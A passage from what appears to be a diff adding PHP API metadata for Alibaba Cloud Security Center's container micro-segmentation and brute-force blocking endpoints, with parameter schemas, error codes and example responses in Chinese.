=> 'string', + 'example' => 'nginx:latest', + ], + ], + 'TagList' => [ + 'description' => '指定网络对象包含的标签列表。', + 'type' => 'array', + 'items' => [ + 'description' => '标签信息。', + 'type' => 'string', + 'example' => 'service:be-v1', + ], + ], + 'TargetId' => [ + 'description' => '网络对象ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '400723', + ], + 'TargetName' => [ + 'description' => '网络对象名称。', + 'type' => 'string', + 'example' => 'destination-test-obj-Na3cF', + ], + 'Namespace' => [ + 'description' => '命名空间。', + 'type' => 'string', + 'example' => 'secondary', + ], + 'TargetType' => [ + 'description' => '对象类型。取值：'."\n" + ."\n" + .'- **IMAGE**：镜像', + 'type' => 'string', + 'example' => 'IMAGE', + ], + 'ClusterName' => [ + 'description' => '容器集群名称。', + 'type' => 'string', + 'example' => 'sas-test-cnnf'."\n", + ], + 'ClusterId' => [ + 'description' => '容器集群的ID。', + 'type' => 'string', + 'example' => 'ca6e6594def8d4be8b2795fd12c32****', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8\\",\\n \\"RuleTarget\\": {\\n \\"AppName\\": \\"netperf-client\\",\\n \\"ImageList\\": [\\n \\"nginx:latest\\"\\n ],\\n \\"TagList\\": [\\n \\"service:be-v1\\"\\n ],\\n \\"TargetId\\": 400723,\\n \\"TargetName\\": \\"destination-test-obj-Na3cF\\",\\n \\"Namespace\\": \\"secondary\\",\\n \\"TargetType\\": \\"IMAGE\\",\\n \\"ClusterName\\": \\"sas-test-cnnf\\\\n\\",\\n \\"ClusterId\\": \\"ca6e6594def8d4be8b2795fd12c32****\\"\\n }\\n}","type":"json"}]', + 'title' => '查询微隔离防护对象详情', + ], + 'DeleteInterceptionRule' => [ + 'summary' => '删除微隔离拦截规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'cdf629147cc3747d292a3f587xxxxxxxx', + ], + ], + [ + 'name' => 'RuleIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要删除的规则的ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '删除的规则ID。'."\n" + .'> 您可以调用[ListInterceptionRulePage](~~ListInterceptionRulePage~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '11', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53CXXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53CXXXXX\\"\\n}","type":"json"}]', + 'title' => '删除拦截规则', + ], + 'DeleteInterceptionTarget' => [ + 'summary' => '删除容器防火墙中生效的网络对象。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + ], + 'parameters' => [ + [ + 'name' => 'TargetIds', + 'in' => 'query', + 'schema' => [ + 'description' => '待删除的网络对象ID列表。'."\n" + .'> 您可以调用[ListInterceptionTargetPage](~~ListInterceptionTargetPage~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '1,11,111', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Result' => [ + 'description' => '删除网络对象是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'D81DD78E-E006-5C65-A171-C8CB09XXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Result\\": true,\\n \\"RequestId\\": \\"D81DD78E-E006-5C65-A171-C8CB09XXXXX\\"\\n}","type":"json"}]', + 'title' => '删除拦截目标', + ], + 'DescribeCustomBlockRecords' => [ + 'summary' => '查询在一台或者多台机器上定义的拦截IP的暴力破解拦截记录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92045', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '暴力破解防御规则的状态。'."\n" + .'取值：'."\n" + .'- **0**：失效'."\n" + .'- **1**：启用'."\n" + .'- **2**：失败', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'BlockIp', + 'in' => 'query', + 'schema' => [ + 'description' => '防暴力破解需要阻断的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '117.66.XX.XX', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的记录的数量。默认值为**20**，表示每页显示20条记录。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '生成结果的结构体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '028CF634-5268-5660-9575-48C9ED6B7T8Y', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '708', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + ], + ], + 'RecordList' => [ + 'description' => '策略列表信息。', + 'type' => 'array', + 'items' => [ + 'description' => '生成的对象。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '暴力破解防御规则的状态。'."\n" + .'取值：'."\n" + .'- **0**：失效'."\n" + .'- **1**：启用'."\n" + .'- **2**：失败', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'BlockExpireDate' => [ + 'description' => '防暴力破解IP拦截到期的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671506882063', + ], + 'EnableCount' => [ + 'description' => '拦截生效成功的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'ServerCount' => [ + 'description' => '该拦截IP记录需要生效的服务器总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '6', + ], + 'BlockIp' => [ + 'description' => '防暴力破解拦截的IP。', + 'type' => 'string', + 'example' => '45.227.XX.XX'."\n", + ], + 'Bound' => [ + 'description' => '服务器暴力破解拦截策略阻断IP的方向。'."\n" + .'取值：'."\n" + .' - **in** ：入方向 '."\n" + .' - **out**： 出方向', + 'type' => 'string', + 'example' => 'in', + ], + 'Source' => [ + 'description' => '此次规则下发的来源。', + 'type' => 'string', + 'example' => 'UserRule', + ], + 'Id' => [ + 'description' => '记录id。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '353376', + ], + 'TargetList' => [ + 'description' => '规则生效的服务器。', + 'type' => 'array', + 'items' => [ + 'description' => '生成的对象。', + 'type' => 'object', + 'properties' => [ + 'Target' => [ + 'description' => '指定的目标资产id。', + 'type' => 'string', + 'example' => '032b618f-b220-4a0d-bd37-fbdc6*******', + ], + 'TargetType' => [ + 'description' => '查询类型。'."\n" + .'取值：'."\n" + .'- **uuid**：资产ID', + 'type' => 'string', + 'example' => 'uuid', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6B7T8Y\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 708,\\n \\"Count\\": 3\\n },\\n \\"RecordList\\": [\\n {\\n \\"Status\\": 1,\\n \\"BlockExpireDate\\": 1671506882063,\\n \\"EnableCount\\": 4,\\n \\"ServerCount\\": 6,\\n \\"BlockIp\\": \\"45.227.XX.XX\\\\n\\",\\n \\"Bound\\": \\"in\\",\\n \\"Source\\": \\"UserRule\\",\\n \\"Id\\": 353376,\\n \\"TargetList\\": [\\n {\\n \\"Target\\": \\"032b618f-b220-4a0d-bd37-fbdc6*******\\",\\n \\"TargetType\\": \\"uuid\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询自定义拦截策略', + ], + 'ListInterceptionRulePage' => [ + 'summary' => '查询微隔离防御规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'cc41de13ab5474210bc0ce772a009****', + ], + ], + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '查询条件。', + 'type' => 'string', + 'required' => false, + 'example' => '80', + ], + ], + [ + 'name' => 'CriteriaType', + 'in' => 'query', + 'schema' => [ + 'description' => '搜索条件类型。取值：'."\n" + .'- **ID** '."\n" + .'- **RULE_NAME**'."\n" + .'- **SRC_TARGET**'."\n" + .'- **DST_TARGET**'."\n" + .'- **DST_PORT**'."\n" + .'- **RULE_SWITCH**'."\n" + .'- **INTERCEPTOR_TYPE**', + 'type' => 'string', + 'required' => false, + 'example' => 'DST_PORT', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '50', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'ACF97412-FD09-4D1F-994F-34DF12BR****', + ], + 'PageInfo' => [ + 'description' => '查询结果页面的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '19', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总记录数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'InterceptionRuleList' => [ + 'description' => '查询到的规则信息。', + 'type' => 'array', + 'items' => [ + 'description' => '查询到的规则信息。', + 'type' => 'object', + 'properties' => [ + 'RuleType' => [ + 'description' => '规则类型。', + 'type' => 'string', + 'example' => 'customize', + ], + 'RuleSwitch' => [ + 'description' => '调度规则的开关状态。取值：'."\n" + ."\n" + .'- **1**：表示开启。'."\n" + .'- **0**：表示关闭。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RuleId' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '30****', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'SrcTarget' => [ + 'description' => '源对象。', + 'type' => 'object', + 'properties' => [ + 'AppName' => [ + 'description' => '应用名称。', + 'type' => 'string', + 'example' => 'ack-jenkins-lawr****', + ], + 'RuleType' => [ + 'description' => '规则类型。取值：'."\n" + .'- **suggest**: 智能推荐'."\n" + .'- **customize**: 用户自定义'."\n" + .'- **system**: 系统', + 'type' => 'string', + 'example' => 'customize', + ], + 'TargetId' => [ + 'description' => '网络对象的ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '40****', + ], + 'TargetName' => [ + 'description' => '网络对象的名称。', + 'type' => 'string', + 'example' => 'mhh-te****', + ], + 'Namespace' => [ + 'description' => '命名空间。', + 'type' => 'string', + 'example' => 'jenkins', + ], + 'TargetType' => [ + 'description' => '受影响的资产类型。', + 'type' => 'string', + 'example' => 'containerId', + ], + 'ImageList' => [ + 'description' => '对应镜像列表。', + 'type' => 'array', + 'items' => [ + 'description' => '对应镜像列表。', + 'type' => 'string', + 'example' => 'nginx:1.****', + ], + ], + 'TagList' => [ + 'description' => '网络对象源标签列表。', + 'type' => 'array', + 'items' => [ + 'description' => '网络对象源标签列表。', + 'type' => 'string', + 'example' => 'bpm', + ], + ], + ], + ], + 'DstTarget' => [ + 'description' => '目标对象。', + 'type' => 'object', + 'properties' => [ + 'AppName' => [ + 'description' => '应用名称。', + 'type' => 'string', + 'example' => 'console', + ], + 'RuleType' => [ + 'description' => '规则类型。取值：'."\n" + .'- **suggest**: 智能推荐'."\n" + .'- **customize**: 用户自定义'."\n" + .'- **system**: 系统', + 'type' => 'string', + 'example' => 'customize', + ], + 'TargetId' => [ + 'description' => '网络对象的ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '302001', + ], + 'TargetName' => [ + 'description' => '网络对象的名称。', + 'type' => 'string', + 'example' => 'demo4****', + ], + 'Namespace' => [ + 'description' => '命名空间。', + 'type' => 'string', + 'example' => 'test', + ], + 'TargetType' => [ + 'description' => '网络对象的类型。', + 'type' => 'string', + 'example' => 'IMAGE', + ], + 'Ports' => [ + 'description' => '目标服务器的端口信息。', + 'type' => 'array', + 'items' => [ + 'description' => '端口信息。', + 'type' => 'string', + 'example' => '{"tcp":"1234","udp":"5555"}', + ], + ], + 'ImageList' => [ + 'description' => '受影响的镜像列表。', + 'type' => 'array', + 'items' => [ + 'description' => '受影响的镜像列表。', + 'type' => 'string', + 'example' => 'nacos:v2.0****', + ], + ], + 'TagList' => [ + 'description' => '网络对象目标标签列表。', + 'type' => 'array', + 'items' => [ + 'description' => '网络对象目标标签列表。', + 'type' => 'string', + 'example' => '111', + ], + ], + ], + ], + 'OrderIndex' => [ + 'description' => '排序。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'InterceptType' => [ + 'description' => '拦截模式。取值：'."\n" + .'- **0**: 观察模式'."\n" + .'- **1**: 拦截模式'."\n" + .'- **2**: 告警模式'."\n" + .'- **3**: 放行模式', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ACF97412-FD09-4D1F-994F-34DF12BR****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 19,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 20\\n },\\n \\"InterceptionRuleList\\": [\\n {\\n \\"RuleType\\": \\"customize\\",\\n \\"RuleSwitch\\": 1,\\n \\"RuleId\\": 0,\\n \\"RuleName\\": \\"test\\",\\n \\"SrcTarget\\": {\\n \\"AppName\\": \\"ack-jenkins-lawr****\\",\\n \\"RuleType\\": \\"customize\\",\\n \\"TargetId\\": 0,\\n \\"TargetName\\": \\"mhh-te****\\",\\n \\"Namespace\\": \\"jenkins\\",\\n \\"TargetType\\": \\"containerId\\",\\n \\"ImageList\\": [\\n \\"nginx:1.****\\"\\n ],\\n \\"TagList\\": [\\n \\"bpm\\"\\n ]\\n },\\n \\"DstTarget\\": {\\n \\"AppName\\": \\"console\\",\\n \\"RuleType\\": \\"customize\\",\\n \\"TargetId\\": 302001,\\n \\"TargetName\\": \\"demo4****\\",\\n \\"Namespace\\": \\"test\\",\\n \\"TargetType\\": \\"IMAGE\\",\\n \\"Ports\\": [\\n \\"{\\\\\\"tcp\\\\\\":\\\\\\"1234\\\\\\",\\\\\\"udp\\\\\\":\\\\\\"5555\\\\\\"}\\"\\n ],\\n \\"ImageList\\": [\\n \\"nacos:v2.0****\\"\\n ],\\n \\"TagList\\": [\\n \\"111\\"\\n ]\\n },\\n \\"OrderIndex\\": 1,\\n \\"InterceptType\\": 1\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询微隔离防御规则', + ], + 'ListInterceptionHistory' => [ + 'summary' => '查询微隔离拦截记录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'HistoryName', + 'in' => 'query', + 'schema' => [ + 'description' => '告警名称。', + 'type' => 'string', + 'required' => false, + 'example' => '异常访问。', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '查询开始时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1651290987000', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '查询结束时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1635575219000', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'InterceptionTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '异常事件的类型。', + 'type' => 'array', + 'items' => [ + 'description' => '异常事件的类型。取值：'."\n" + ."\n" + .'- **1**：拦截'."\n" + .'- **2**：告警', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '需要查询的容器集群ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'c7c190a82d9a048be9038d352840f****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型。默认值**zh**。取值：'."\n" + ."\n\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '响应体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D81DD78E-E006-5C65-A171-C8CB0904****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '45', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'InterceptionHistoryList' => [ + 'description' => '微隔离拦截记录。', + 'type' => 'array', + 'items' => [ + 'description' => '微隔离拦截记录。', + 'type' => 'object', + 'properties' => [ + 'SrcNamespace' => [ + 'description' => '源实例的命名空间。', + 'type' => 'string', + 'example' => 'service****', + ], + 'SrcRuleTargetName' => [ + 'description' => '规则的源目标对象名。', + 'type' => 'string', + 'example' => 'sas-web****', + ], + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **-1**：未知'."\n" + .'- **0**：无'."\n" + .'- **1**：低危'."\n" + .'- **2**：中危'."\n" + .'- **3**：高危', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'Status' => [ + 'description' => '处理状态。取值：'."\n" + ."\n" + .'- **0**：未处理'."\n" + .'- **1**：已处理'."\n" + .'- **2**：手动处理'."\n" + .'- **3**：忽略', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'DstPort' => [ + 'description' => '规则配置的目的端口号。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '33', + ], + 'FirstTime' => [ + 'description' => '当日首次时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1639718858000', + ], + 'SrcAppName' => [ + 'description' => '规则配置的源应用名称。', + 'type' => 'string', + 'example' => 'sas-web****', + ], + 'RuleId' => [ + 'description' => '对应的规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '136', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'all****', + ], + 'InterceptionName' => [ + 'description' => '告警名称。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '异常访问。', + ], + 'DstNamespace' => [ + 'description' => '规则配置的目的命名空间。', + 'type' => 'string', + 'example' => 'service****', + ], + 'LastTime' => [ + 'description' => '当日最新时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1639731078000', + ], + 'DstAppName' => [ + 'description' => '规则配置的目的应用名称。', + 'type' => 'string', + 'example' => 'sas-web****', + ], + 'DstRuleTargetName' => [ + 'description' => '规则的目的目标对象名。', + 'type' => 'string', + 'example' => 'sas-web****', + ], + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'opa-terway-nonet****', + ], + 'TryCount' => [ + 'description' => '尝试次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '34', + ], + 'InterceptionType' => [ + 'description' => '处理类型。取值：'."\n" + ."\n" + .'- **0**：观察'."\n" + .'- **1**：拦截'."\n" + .'- **2**：告警'."\n" + .'- **3**：放行', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RealInterceptionType' => [ + 'description' => '实际命中的处理类型。取值：'."\n" + ."\n" + .'- **0**：观察'."\n" + .'- **1**：拦截'."\n" + .'- **2**：告警'."\n" + .'- **3**：放行', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Id' => [ + 'description' => '告警的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1126', + ], + 'ClusterId' => [ + 'description' => '容器集群的ID。', + 'type' => 'string', + 'example' => 'c556c8133b5ad4378b7fc533ddbda****', + ], + 'RealSrcAppName' => [ + 'description' => '源应用名称。', + 'type' => 'string', + 'example' => 'sas-service****', + ], + 'RealSrcPodName' => [ + 'description' => '源容器组。', + 'type' => 'string', + 'example' => 'sas-service-757b9d****', + ], + 'RealDstAppName' => [ + 'description' => '目的应用名称。', + 'type' => 'string', + 'example' => 'sas-service****', + ], + 'RealDstPodName' => [ + 'description' => '目的容器组。', + 'type' => 'string', + 'example' => 'sas-web-84cc7dd9****', + ], + 'RealDstNamespace' => [ + 'description' => '目的命名空间。', + 'type' => 'string', + 'example' => 'service****', + ], + 'RealDstImageName' => [ + 'description' => '目的镜像名称。', + 'type' => 'string', + 'example' => 'sas-servi****', + ], + 'RealSrcNamespace' => [ + 'description' => '源命名空间。', + 'type' => 'string', + 'example' => 'service****', + ], + 'RealSrcImageName' => [ + 'description' => '源镜像名称。', + 'type' => 'string', + 'example' => 'sas-servi****'."\n", + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D81DD78E-E006-5C65-A171-C8CB0904****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45,\\n \\"Count\\": 10\\n },\\n \\"InterceptionHistoryList\\": [\\n {\\n \\"SrcNamespace\\": \\"service****\\",\\n \\"SrcRuleTargetName\\": \\"sas-web****\\",\\n \\"RiskLevel\\": 1,\\n \\"Status\\": 1,\\n \\"DstPort\\": 33,\\n \\"FirstTime\\": 1639718858000,\\n \\"SrcAppName\\": \\"sas-web****\\",\\n \\"RuleId\\": 136,\\n \\"RuleName\\": \\"all****\\",\\n \\"InterceptionName\\": 0,\\n \\"DstNamespace\\": \\"service****\\",\\n \\"LastTime\\": 1639731078000,\\n \\"DstAppName\\": \\"sas-web****\\",\\n \\"DstRuleTargetName\\": \\"sas-web****\\",\\n \\"ClusterName\\": \\"opa-terway-nonet****\\",\\n \\"TryCount\\": 34,\\n \\"InterceptionType\\": 0,\\n \\"RealInterceptionType\\": 0,\\n \\"Id\\": 1126,\\n \\"ClusterId\\": \\"c556c8133b5ad4378b7fc533ddbda****\\",\\n \\"RealSrcAppName\\": \\"sas-service****\\",\\n \\"RealSrcPodName\\": \\"sas-service-757b9d****\\",\\n \\"RealDstAppName\\": \\"sas-service****\\",\\n \\"RealDstPodName\\": \\"sas-web-84cc7dd9****\\",\\n \\"RealDstNamespace\\": \\"service****\\",\\n \\"RealDstImageName\\": \\"sas-servi****\\",\\n \\"RealSrcNamespace\\": \\"service****\\",\\n \\"RealSrcImageName\\": \\"sas-servi****\\\\n\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询微隔离拦截记录', + ], + 'CreateInterceptionRule' => [ + 'summary' => '创建微隔离拦截规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'c35xxxa416', + ], + ], + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '配置规则名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'test-rule-1', + ], + ], + [ + 'name' => 'RuleSwitch', + 'in' => 'query', + 'schema' => [ + 'description' => '指定启用规则的开关状态。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 